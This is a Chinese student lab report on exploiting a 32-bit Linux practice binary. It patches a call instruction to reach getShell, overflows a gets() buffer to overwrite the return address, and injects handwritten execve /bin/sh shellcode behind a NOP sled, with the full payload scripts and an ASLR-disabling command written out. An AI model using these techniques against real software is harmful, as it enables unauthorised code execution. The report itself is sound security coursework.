20242319 2026-2027-1 《网络与系统攻防技术》实验一实验报告

20242319 2025-2026-1 《网络与系统攻防技术》实验一实验报告

1. 基础知识

本次实验的对象是一个 32 位 Linux ELF 可执行文件 pwn1。程序正常执行时由 main 调用 foo,foo 使用 gets() 接收输入并回显。程序中还存在一个正常流程不会执行到的 getShell() 函数,该函数内部调用 system("/bin/sh")。实验目标就是通过修改控制流或构造输入,让程序执行到获得 shell 的代码。

本实验用到的基础知识主要包括以下几类。

1.1 ELF、反汇编与机器码

Linux 下的可执行程序通常采用 ELF 格式。通过 file 可以查看程序架构,通过 objdump -d 可以把程序反汇编成汇编指令。本实验中 pwn1 是 32 位 Intel 80386 程序,因此地址长度为 4 字节,函数调用、返回地址覆盖等操作都按照 32 位 x86 环境分析。

在 x86 中,call 指令的机器码常见形式为:

E8 xx xx xx xx

其中 E8 表示相对调用,后面的 4 字节是相对偏移,并且以小端序存放。本实验任务一正是通过修改 call foo 后面的偏移,使其变成 call getShell。

实验中涉及的一些常见汇编指令及机器码如下:

指令 含义 常见机器码
NOP 空操作,常用于 NOP sled 90
JMP 无条件跳转 E9 等
JE 相等时跳转 74
JNE 不相等时跳转 75
CMP 比较两个操作数 39、3B 等
CALL 调用函数 E8
RET 函数返回 C3

1.2 栈帧与缓冲区溢出

32 位程序调用函数时,通常会在栈上保存旧的 ebp 和返回地址。函数内部局部变量位于 ebp 的低地址方向,返回地址位于 ebp+4。如果程序使用 gets() 这类不检查输入长度的函数,就可能把用户输入写出缓冲区边界,覆盖保存的返回地址。只要把返回地址覆盖成想要跳转的位置,就可以改变程序执行流程。

本实验中 foo() 中的缓冲区位于:

ebp - 0x1c

返回地址位于:

ebp + 4

所以从缓冲区起始位置到返回地址的距离为:

0x1c + 4 = 0x20 = 32 字节

因此任务二中构造 payload 的核心结构是:

32 字节填充 + getShell 地址

1.3 小端序、ASLR 与栈执行权限

x86 平台采用小端序。例如地址 0x0804847d 在输入中应写成:

\x7d\x84\x04\x08

ASLR 会让栈、库等地址随机化,不利于复现实验结果。因此任务三中需要临时关闭地址随机化:

sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'

同时,shellcode 要放在栈上执行,程序栈必须具有执行权限。使用:

readelf -W -l ./20242319_pwn1_2 | grep GNU_STACK

如果结果为 RWE,说明栈可读、可写、可执行。

1.4 Shellcode 与 NOP sled

shellcode 是一段可以直接执行的机器码。本实验中我用 NASM 编写了一段 32 位 Linux shellcode,功能是执行 /bin/sh。由于 shellcode 中包含 push 指令,执行时会向低地址写数据。如果把 shellcode 放在返回地址前面,可能会把还没执行到的指令覆盖掉。因此最终采用了更稳定的结构:

32 字节填充 + 返回地址 + NOP 滑道 + shellcode

返回地址指向 NOP 滑道,程序执行时先落到一片 0x90,再自然滑到 shellcode 位置执行。

2. 实验内容

本次实验完成三个任务:

  1. 手工修改可执行文件,改变程序执行流程,使 main 直接调用 getShell();
  2. 利用 foo() 函数中的缓冲区溢出漏洞,构造输入覆盖返回地址,使程序跳转到 getShell();
  3. 自己编写 shellcode,将其注入程序栈中,并通过覆盖返回地址运行该 shellcode。

实验过程中先使用 OpenEuler 虚拟机完成了任务一的反汇编分析和机器码修改。但由于该环境缺少 32 位运行库 /lib/ld-linux.so.2,并且当前软件源无法安装 glibc.i686、libgcc.i686,导致 32 位 ELF 程序无法正常运行。后续任务二和任务三改在 Kali 虚拟机中完成。报告中的前几张截图来自 OpenEuler,后续运行和攻击验证截图来自 Kali。

3. 实验过程

3.1 实验环境与文件准备

实验文件按学号命名,主要使用:

20242319_pwn1      任务一中修改后的程序
20242319_pwn1_2    原始程序备份,用于任务二和任务三

在 OpenEuler 中查看程序反汇编,首先定位 getShell()、main() 和 foo()。

图1 OpenEuler 中查看 getShell 函数地址

可以看到 getShell() 的入口地址为:

0x0804847d

继续查看 main(),原始程序中 main() 调用的是 foo():

图2 OpenEuler 中查看 main 函数,原始流程调用 foo

foo() 函数中调用了 gets(),这是后续缓冲区溢出的漏洞点:

图3 OpenEuler 中查看 foo 函数及 gets 调用

继续观察程序其他反汇编信息,确认函数区间和指令位置:

图4 查看程序其他反汇编信息

3.2 任务一:手工修改可执行文件

原始 main() 中关键指令为:

80484b5: e8 d7 ff ff ff    call 8048491 <foo>

目标是将其改为:

80484b5: e8 c3 ff ff ff    call 804847d <getShell>

也就是只需要把文件偏移 0x4b6 处的 d7 改为 c3。执行命令:

printf '\xc3' | dd of=20242319_pwn1 bs=1 seek=$((0x4b6)) count=1 conv=notrunc

随后再次反汇编验证,main() 中已经变为调用 getShell():

图5 使用 dd 修改机器码并验证 main 调用 getShell

在 OpenEuler 中虽然机器码修改成功,但运行时提示找不到需要的文件:

图6 OpenEuler 中修改成功但运行 32 位程序失败

排查后发现系统缺少 /lib/ld-linux.so.2,尝试安装 32 位运行库失败:

图7 OpenEuler 中安装 i686 运行库失败

因此后续改用 Kali 环境继续实验。在 Kali 中运行修改后的 20242319_pwn1,程序直接进入 shell,说明任务一成功:

图8 Kali 中运行已修改程序并成功进入 shell

3.3 任务二:利用 BOF 覆盖返回地址执行 getShell

任务二使用原始备份文件 20242319_pwn1_2。首先确认 getShell() 地址仍然为:

0x0804847d

图9 Kali 中查看 getShell 地址

接着查看 foo() 的栈结构:

图10 Kali 中查看 foo 函数栈结构

关键指令为:

8048497: 8d 45 e4    lea -0x1c(%ebp),%eax
804849d: e8 ...      call gets@plt

说明输入缓冲区在 ebp-0x1c,返回地址在 ebp+4,因此覆盖返回地址需要 32 字节填充。

getShell() 地址 0x0804847d 以小端序写入 payload 为:

\x7d\x84\x04\x08

构造并执行 payload:

(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*32 + b"\x7d\x84\x04\x08" + b"\n")'; cat) | ./20242319_pwn1_2

执行后进入 shell,输入 whoami、id、pwd 均能得到正常结果:

图11 使用 BOF payload 覆盖返回地址并进入 shell

退出 shell 后出现 broken pipe 和 segmentation fault。这个现象是因为函数返回地址已经被覆盖,shell 退出后程序原本的栈结构被破坏,继续返回时发生段错误。由于已经成功获得 shell,所以不影响实验结论。

3.4 任务三:注入自制 shellcode 并执行

任务三不再跳转到程序中已有的 getShell(),而是自己编写 shellcode 并把它放入输入中执行。

首先编写 32 位 Linux shellcode:

BITS 32
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
push ebx
mov ecx, esp
cdq
mov al, 0x0b
int 0x80

用 NASM 汇编并提取 .text 段:

nasm -f elf32 shellcode.asm -o shellcode.o
objcopy -O binary -j .text shellcode.o shellcode.bin
xxd -i shellcode.bin
wc -c shellcode.bin

最终得到的 shellcode 长度为 24 字节。

随后检查程序栈权限,结果为 GNU_STACK ... RWE,说明栈可执行。开始时我直接使用 gdb 里测到的栈地址生成 payload,发现只能在 gdb 内成功,gdb 外运行会段错误。后来分析发现,gdb 运行环境和普通运行环境下栈地址不完全一致,不能直接照搬 gdb 中 run 得到的地址。

为了解决这个问题,我按照实验指导书的方法:先在 gdb 外启动程序,再使用 gdb attach 附加到这个真实运行的进程上,在 foo() 的 ret 指令处查看真实运行环境中的栈地址。探测用 payload 的结构为:

32 字节 A + 0x01020304 占位返回地址 + NOP 滑道 + shellcode

先启动探测进程并查看 PID:

图12 启动探测进程并查看 PID

使用 gdb attach 到该进程,并在 foo() 的 ret 指令处下断点:

图13 gdb attach 到外部进程并在 ret 处下断点

当程序在 ret 处停下后,查看 $esp 和 $esp+4。其中 $esp 处的值为 0x01020304,说明这里正是被覆盖的返回地址;$esp+4 指向返回地址后方的 NOP 滑道。

图14 在真实运行环境中查看 esp 与 NOP 滑道地址

在后续重新测量中,真实运行环境下 $esp+4 为:

0xffffcf10

因此最终将返回地址设置为 0xffffcf10,生成最终 payload:

python3 - <<'PY'
import struct

ret_addr = 0xffffcf10
shellcode = open("shellcode.bin", "rb").read()

payload = b"A" * 32
payload += struct.pack("<I", ret_addr)
payload += b"\x90" * 64
payload += shellcode

open("input_shellcode_final", "wb").write(payload)
print("return address =", hex(ret_addr))
print("shellcode length =", len(shellcode))
print("payload length =", len(payload))
PY

用 xxd 检查,返回地址以小端序写为 10 cf ff ff,后面跟着 NOP 滑道和 shellcode:

图15 根据真实栈地址重新生成 input_shellcode_final

最后在 gdb 外直接运行:

(cat input_shellcode_final; cat) | ./20242319_pwn1_2

执行后输入 whoami、id、pwd,均能得到结果,说明自制 shellcode 成功执行并启动 /bin/sh:

图16 gdb 外直接执行 shellcode 成功

探测 payload 运行状态如下图,用于说明任务三中先启动真实进程再 attach 的过程:

图17 探测用 payload 运行状态

4. 问题及解决方案

问题1:OpenEuler 中无法运行 32 位程序

一开始我在 OpenEuler 中完成了反汇编和任务一的机器码修改,但运行程序时出现“无法执行:找不到需要的文件”。开始我以为是文件名或权限问题,后来通过 file 和 /lib/ld-linux.so.2 检查发现,程序是 32 位 ELF,而系统缺少 32 位动态链接器。

尝试执行:

sudo dnf install glibc.i686 libgcc.i686 -y

但是软件源中没有对应包,无法安装。最后选择改用 Kali 虚拟机继续实验。Kali 配置好 32 位运行环境后,可以正常运行该程序。

问题2:任务三在 gdb 中成功,但 gdb 外直接运行失败

一开始我在 gdb 中用 p/x $ebp-0x1c 找到缓冲区地址,再用这个地址生成 payload。结果在 gdb 中可以看到程序执行 /usr/bin/dash,但是脱离 gdb 后直接运行就段错误。

后来分析出问题在于:gdb 自己会影响程序运行时的栈布局,gdb 中的地址不能直接用于普通运行环境。解决方法是先在 gdb 外启动程序,再通过 gdb attach 附加到真实运行的进程上,在 ret 处查看 $esp+4。这样得到的地址才是直接运行时应使用的地址。

问题3:shellcode 放在返回地址前面时会崩溃

最初尝试的 payload 结构是:

NOP + shellcode + 返回地址

但是运行时发生段错误。后来在 gdb 中观察发现,shellcode 已经跳转到栈附近,但执行过程中会被自己的 push 指令影响。因为 push 会向低地址写入数据,如果 shellcode 放在返回地址前面,可能会覆盖还没执行到的指令。

最后改为:

32字节填充 + 返回地址 + NOP滑道 + shellcode

返回地址直接指向 NOP 滑道,shellcode 放在后方,执行更稳定。

5. 学习感悟、思考等

这次实验做得比我一开始想象的更曲折。任务一看起来只是改一个字节,但真正做的时候才发现,每一个地址、每一个偏移都不能靠猜。call 后面的 4 个字节不是绝对地址,而是相对偏移;返回地址也不是写成看见的顺序,而要按小端序放进输入里。以前看这些概念总觉得知道就行,这次真正敲命令、看反汇编、算偏移之后,才感觉到它们是真正会直接决定实验成败的细节。

中间最让我卡住的是任务三。开始我以为在 gdb 里测到地址就万事大吉,结果 gdb 中可以,直接运行就不行。那一段反复段错误,确实有点烦躁。后来重新看实验指导书,发现应该 attach 到真实运行的进程中测地址,这时才意识到调试环境本身也会改变程序状态。这个问题解决以后,我对“实验环境要一致”这句话有了更深的理解。

还有一个收获是,安全实验不能只盯着最后有没有 shell。比如 OpenEuler 里不能运行 32 位程序,最初看起来像是权限或路径问题,但真正原因是缺少 32 位动态链接器;shellcode 崩溃也不是 shellcode 一定写错了,而可能是 payload 布局不合适。这些问题如果只看表面现象,很容易走偏。

总的来说,这个实验把反汇编、栈帧、缓冲区溢出、小端序、shellcode、gdb 调试串到了一起。完成以后我对程序运行时栈的变化更有感觉了,也明白了为什么不安全的输入函数会造成这么严重的后果。以后写代码时,像 gets() 这种不检查边界的函数肯定不能再随便用;做安全分析时,也要耐心地把每一步地址和数据布局看清楚。

参考资料

posted @ 2026-10-09 17:52  小万万元  阅读(21)  评论(1)    收藏  举报